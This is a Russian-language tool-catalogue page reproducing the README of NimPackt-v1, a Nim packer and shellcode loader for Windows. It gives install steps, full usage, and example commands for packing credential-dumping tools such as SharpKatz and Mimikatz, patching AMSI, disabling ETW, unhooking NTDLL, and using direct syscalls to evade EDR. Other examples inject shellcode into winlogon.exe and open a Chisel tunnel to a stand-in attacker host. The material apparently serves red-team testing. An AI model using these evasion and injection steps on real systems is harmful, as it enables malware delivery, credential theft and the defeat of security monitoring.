Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
NimPackt-v1 — Упаковщик ассемблерного кода и загрузчик шеллкода на основе Nim для opsec и профита | Kitploit
Инструменты/GitHubGitHub/chvancooten/nimpackt-v1
Фреймворки для эксплойтовГенерация полезной нагрузкиШелл-кодТестирование на ПроникновениеRed TeamingЭксплуатация Бинарных Файлов
GitHubchvancooten/nimpackt-v1

NimPackt-v1

Упаковщик ассемблерного кода и загрузчик шеллкода на основе Nim для opsec и профита

Репозиторий
487763 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

NimPackt

Упаковщик на Nim для .NET исполняемых файлов и сырого shellcode

Автор: Cas van Cooten (@chvancooten)

С особыми благодарностями Marcello Salvati (@byt3bl33der) и Fabian Mosch (@S3cur3Th1sSh1t)

Описание

Обновление: NimPackt-v1 является одним из худших кодов, которые я когда-либо писал (я только начинал изучать Nim). Из-за этого я начал полное переписывание NimPackt, названное 'NimPackt-NG' (пока ещё приватное). При этом переписывании я решил открыть исходный код старой ветки ("NimPackt-v1"). Таким образом, эта ветка больше не поддерживается и предоставляется без каких-либо гарантий или поддержки. PR'ы, конечно, всегда приветствуются :)

NimPackt — это упаковщик на Nim для .NET (C#) исполняемых файлов и shellcode, нацеленный на Windows. Он автоматически оборачивает полезную нагрузку в бинарный файл Nim, который компилируется в нативный C и, следовательно, сложнее для обнаружения и обратной разработки. Существует два основных метода выполнения:

  • Execute-Assembly переупаковывает .NET исполняемый файл и запускает его, опционально применяя меры уклонения, такие как снятие хуков API, патч AMSI или отключение ETW.
  • Shinject принимает сырой .bin файл с сырым позиционно-независимым shellcode и выполняет его локально или в удалённом процессе, опционально используя прямые системные вызовы для запуска shellcode или патча хуков API для обхода EDR.

В настоящее время NimPackt имеет следующие функции:

  • Использует статические системные вызовы для патча выполнения с целью обхода EDR
  • Снимает хуки пользовательского режима API для порождённого потока, обновляя NTDLL.dll с помощью ShellyCoat
  • Патчит Event Tracing for Windows (ETW)
  • Патчит Anti-Malware Scan Interface (AMSI)
  • Шифрует полезную нагрузку AES со случайным ключом для предотвращения статического анализа или снятия отпечатков
  • Компилирует в exe или dll
  • Поддерживает кроссплатформенную компиляцию (как с Linux, так и с Windows)
  • Интегрируется с CobaltStrike для лёгкой генерации полезной нагрузки 😎

Отличный источник C#-бинарных файлов для инструментов атак можно найти здесь. Настоятельно рекомендуется компилировать C# бинарные файлы самостоятельно. Хотя встроенные бинарные файлы зашифрованы, вам следует обфусцировать чувствительные бинарные файлы (например, Mimikatz), чтобы снизить риск обнаружения.

Установка

Если у вас возникают проблемы с компиляцией бинарного файла с Syscalls, попробуйте понизить версию GCC до 8.1.0 (особенно на Windows). ВСЕГДА тестируйте сгенерированные полезные нагрузки!

На Linux просто установите необходимые пакеты и используйте установщик пакетов Nimble для установки требуемых пакетов и библиотек Python.

root@kitploit:~
sudo apt install -y python3 mingw-w64 nim
pip3 install pycryptodome argparse
nimble install winim nimcrypto

На Windows выполните установщик Nim из здесь. Убедитесь, что установлен mingw и правильно заданы пути с помощью предоставленной утилиты finish.exe. Если у вас нет Python3, установите его, затем установите необходимые пакеты следующим образом.

root@kitploit:~
nimble install winim nimcrypto
pip3 install pycryptodome argparse

Docker

Образ Docker chvancooten/nimbuild можно использовать для компиляции бинарных файлов NimPackt-v1. Использование Docker просто и позволяет избежать проблем с зависимостями, так как все необходимые зависимости предустановлены в этом контейнере.

Чтобы использовать его, установите Docker для вашей ОС и убедитесь, что входной shellcode находится в текущей папке. Затем запустите компиляцию в контейнере следующим образом.

root@kitploit:~
docker run --rm -v `pwd`:/usr/src/np -w /usr/src/np chvancooten/nimbuild python3 NimPackt.py -e shinject -i sc.bin

Плагин для CobaltStrike

Чтобы установить плагин CobaltStrike, выберите Cobalt Strike -> Script Manager в строке меню и нажмите Load. Убедитесь, что загружаете файл .cna из его исходного расположения, иначе он не сможет найти файлы скриптов NimPackt!

NimPackt

Использование

root@kitploit:~
usage: NimPackt.py [-h] -e EXECUTIONMODE -i INPUTFILE [-a ARGUMENTS] [-na] [-ne] [-r]
                   [-t INJECTTARGET] [-E] [-o OUTPUTFILE] [-nu] [-ns] [-f FILETYPE] [-s] [-32] [-S]
                   [-d] [-v] [-V]

required arguments:
  -e EXECUTIONMODE, --executionmode EXECUTIONMODE
                        Execution mode of the packer. Supports "execute-assembly" or "shinject"
  -i INPUTFILE, --inputfile INPUTFILE
                        C# .NET binary executable (.exe) or shellcode (.bin) to wrap

execute-assembly arguments:
  -a ARGUMENTS, --arguments ARGUMENTS
                        Arguments to "bake into" the wrapped binary, or "PASSTHRU" to accept run-
                        time arguments (default)
  -na, --nopatchamsi    Do NOT patch (disable) the Anti-Malware Scan Interface (AMSI)
  -ne, --nodisableetw   Do NOT disable Event Tracing for Windows (ETW)

shinject arguments:
  -r, --remote          Inject shellcode into remote process (default false)
  -t INJECTTARGET, --target INJECTTARGET
                        Remote thread targeted for remote process injection
  -E, --existing        Remote inject into existing process rather than a newly spawned one (default
                        false, implies -r) (WARNING: VOLATILE)

other arguments:
  -o OUTPUTFILE, --outfile OUTPUTFILE
                        Filename of the output file (e.g. "LegitBinary"). Specify WITHOUT extension
                        or path. This property will be stored in the output binary as the original
                        filename
  -nu, --nounhook       Do NOT unhook user-mode API hooks in the target process by loading a fresh
                        NTDLL.dll
  -ns, --nosyscalls     Do NOT use direct syscalls (Windows generation 7-10) instead of high-level
                        APIs to evade EDR
  -f FILETYPE, --filetype FILETYPE
                        Filetype to compile ("exe" or "dll", default: "exe")
  -s, --sleep           Sleep for approx. 30 seconds by calculating primes
  -32, --32bit          Compile in 32-bit mode (untested)
  -S, --showConsole     Show a console window with the app's output when running
  -d, --debug           Enable debug mode (retains .nim source file in output folder)
  -v, --verbose         Print debug messages of the wrapped binary at runtime
  -V, --version         show program's version number and exit

Примеры:

root@kitploit:~
# Pack SharpKatz to accept arguments at runtime, patching NTDLL hooks, AMSI, and ETW while printing verbose messages to a visible console at runtime
python3 ./NimPackt.py -e execute-assembly -i bins/SharpKatz-x64.exe -S -v

# Pack Seatbelt as a DLL file with baked-in arguments (note: write to outfile because stdout is not available for DLLs)
python3 ./NimPackt.py -f dll -e execute-assembly -i Seatbelt.exe -a "-group=all -outputfile=c:\users\public\downloads\sb.txt"

# Pack SharpChisel with a built-in ChiselChief connection string, do not unhook, patch AMSI, or disable ETW, hide the application window at runtime
python3 NimPackt.py -nu -na -ne -e execute-assembly -i bins/SharpChisel.exe -a 'client --keepalive 25s --max-retry-interval 25s https://chiselserver.evilwebsite.com R:10073:socks'

# Pack raw shellcode to DLL file that executes in the local thread through direct syscalls, unhooking NTDLL as well
# Shellcode generated with 'msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o /tmp/calc.bin'
python3 NimPackt.py -i calc.bin -e shinject -f dll

# Pack raw shellcode to execute in a newly spawned Calculator thread in an invisible window
python3 NimPackt.py -i calc.bin -e shinject -t "calc.exe"

# Pack raw shellcode to execute in the existing Winlogon process (first PID with name 'winlogon.exe'), do not use direct syscalls or unhook NTDLL
python3 NimPackt.py -i calc.bin -e shinject -r -E -t "winlogon.exe" -nu -ns

Бинарные файлы сохраняются в подпапку output вашего каталога установки. Сгенерированные файлы dll можно выполнить следующим образом (точка входа может быть изменена в шаблоне Nim):

root@kitploit:~
rundll32 exampleShinjectNimPackt.dll,IconSrv
Скачать инструмент